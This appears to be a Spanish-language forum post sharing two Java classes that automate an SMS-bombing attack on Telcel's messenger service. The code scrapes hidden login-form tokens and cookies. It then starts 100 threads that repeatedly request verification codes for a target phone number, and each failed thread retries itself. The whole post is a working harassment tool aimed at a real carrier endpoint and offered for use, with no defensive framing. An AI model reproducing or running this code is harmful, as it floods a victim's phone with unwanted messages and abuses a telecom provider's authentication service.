[Enlace externo eliminado para invitados]
Entonces automaticé todo esto en 2 clases java bueno no mas choro y aqui el code.
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.regex.Pattern;
/**
*
* @author Alienware
*/
public class Spam {
public static void main(String[] args) {
String _sourcePage = "";
String __fp = "";
String cookies = "";
try {
HttpURLConnection c = (HttpURLConnection) new URL("http://messenger.telcel.com/xhtml-mp/UserAuthenticate.action?obtainCode=&msisdn=NUMERO").openConnection();
InputStream in = c.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(c.getInputStream()));
while (br.ready()) {
String tmp = br.readLine().trim();
if (tmp.contains("_sourcePage")) {
tmp = tmp.replace("<div style=\"display: none;\"><input type=\"hidden\" name=\"_sourcePage\" value=\"", "");
tmp = tmp.replace("\" /><input type=\"hidden\" name=\"__fp\" value=\"", "[#]");
tmp = tmp.replace("\" /></div></form></div>", "");
// System.out.println(tmp);
String datos[] = tmp.split(Pattern.quote("[#]"));
_sourcePage = datos[0];
__fp = datos[1];
break;
}
}
cookies = c.getHeaderField("Set-Cookie");
c.disconnect();
int i = 0;
System.out.println("Empezaré a enviar");
//100 VECES
while (i < 100) {
EnviarPost n = new EnviarPost("NUMERO", cookies, _sourcePage, __fp, i);
n.start();
i++;
}
} catch (Exception ex) {
System.out.println("error");
// Logger.getLogger(Spam.class.getName()).log(Level.SEVERE, null, ex);
}
}
}
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
/**
*
* @author Alienware
*/
public class EnviarPost extends Thread{
String _sourcePage = "";
String __fp = "";
String cookies = "";
String numero;
int i;
public EnviarPost(String numero,String cookie, String pagesource, String _Ff, int i) {
this.numero=numero;
_sourcePage = pagesource;
cookies = cookie;
this.__fp = _Ff;
this.i=i;
}
public void run(){
try {
String postMessage="username="+numero+""
+ "&loginRegister=Inicio"
+ "&_sourcePage="+_sourcePage
+ "&__fp="+__fp;
HttpURLConnection conn = (HttpURLConnection) new URL("http://messenger.telcel.com/xhtml-mp/Login.action").openConnection();
conn.setDoInput(true);
conn.setDoOutput(true);
// conn.setUseCaches(true);
conn.setRequestMethod("POST");
conn.setRequestProperty("Host", "messenger.telcel.com");
conn.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0");
conn.setRequestProperty("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
conn.setRequestProperty("Referer", "http://messenger.telcel.com/xhtml-mp/Front.action");
conn.setRequestProperty("Connection", "Keep-alive");
conn.setRequestProperty("Cookie", cookies);
conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
OutputStream out=conn.getOutputStream();
out.write(postMessage.getBytes());
out.flush();
out.close();
// System.out.println(conn.getResponseCode());
BufferedReader br = new BufferedReader(new InputStreamReader(conn.getInputStream()));
StringBuilder response = new StringBuilder();
while (br.ready()) {
response.append(br.readLine()+"\n");
}
br.close();
// System.out.println(response);
conn.disconnect();
HttpURLConnection c = (HttpURLConnection) new URL("http://messenger.telcel.com/xhtml-mp/UserAuthenticate.action?obtainCode=&msisdn="+numero).openConnection();
c.setRequestProperty("Host", "messenger.telcel.com");
c.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0");
c.setRequestProperty("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
c.setRequestProperty("Referer", "http://messenger.telcel.com/xhtml-mp/Front.action");
c.setRequestProperty("Connection", "Keep-alive");
c.setRequestProperty("Cookie", cookies);
c.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
BufferedReader br2 = new BufferedReader(new InputStreamReader(c.getInputStream()));
StringBuilder response2 = new StringBuilder();
while (br2.ready()) {
response2.append(br2.readLine()+"\n");
}
// System.out.println(response2);
br2.close();
// conn.disconnect();
c.disconnect();
System.out.println("Enviado: "+i);
} catch (IOException ex) {
new EnviarPost(numero, cookies, _sourcePage, __fp, i).start();
}
}
}